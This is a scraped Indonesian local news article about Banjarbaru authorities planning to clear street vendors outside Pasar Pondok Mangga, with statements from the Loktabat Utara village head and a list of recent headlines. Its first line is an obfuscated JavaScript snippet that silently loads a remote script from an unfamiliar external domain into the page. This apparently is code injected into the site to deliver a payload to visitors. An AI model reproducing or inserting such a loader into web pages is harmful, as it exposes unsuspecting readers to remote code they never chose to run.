(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pedagang ‘Macal’ di Pasar Pondok Mangga Akan Ditertibkan, Ini Kata Lurah Loktabat Utara


KANALKALIMANTAN.COM, BANJARBARU – Polemik Pasar Pondok Mangga belum selesai sampai adanya penertiban yang dilakukan oleh petugas. Pedagang resmi yang menempati areal dalam pasar berharap agar pedagang liar yang masih berjualan di luar agar bisa masuk.

Menyikapi hal ini, Lurah Loktabat Utara, M Fuad Rachman, selaku pemangku wilayah mengatakan hanya bisa mengimbau. Mengingat pihaknya tak memiliki wewenang dalam penertiban pasar.

Saat rapat koordinasi dengan Pemko Banjarbaru pada Senin (6/9/2021) kemarin, pemerintah menyataan akan menertibkan pedagang Pasar Pondok Mangga yang beroperasi di pinggir jalan.

“Kami kemarin melakukan rapat dengan Pak Wali, beliau akan melakukan penindakan kepada pedagang yang berjualan di luar dari Pasar Pondok Mangga,” kata kepada Kanalkalimantan.com, Selasa (7/8/2021).

Baca juga :Ketinggian Air Capai 1 Meter, Jalan Trans Kalimantan Putus Akibat Banjir Kalteng 

Fuad juga mengatakan, sebelumnya tidak tahu dengan adanya perwakilan pedagang yang menghadap kepada Wali Kota Banjarbaru. Dalam rapat tersebut terkuak bahwa para pedagang sudah dua kali mendatangi Dinas terkait untuk penertiban di Pasar Pondok Mangga.

“Yang dikeluhkan adanya pedagang berjual di luar dari Pasar, ada tiga titik yang berjualan di luar, dengan adanya laporan itu Pak Wali langsung menindaklanjuti laporan tersebut,” tambahnya

Fuad sangat berterima kasih kepada Pak Wali Kota Aditya Mufti Ariffin atas perhatian kepada para pedagang yang ada di Pondok Mangga. Ia juga berharap permasalahan yang ada di Pasar Pondok Mangga dapat diselesaikan secepatnya.

“Kami para aparatur Kelurahan sangat berterima kasih kepada Pak Wali atas kesigapan dan perhatiannya kepada pedagang dan kami berharap kepada Dinas terkait agar bisa sesegaranya melakukan penertiban kepada pedagang yang masih berjualan di bahu jalan, “ tutupnya.(kanalkalimantan.com/ibnu)

Reporter : Ibnu
Editor: cell


Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

2 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

3 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

5 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

6 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

6 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

7 jam ago

This website uses cookies.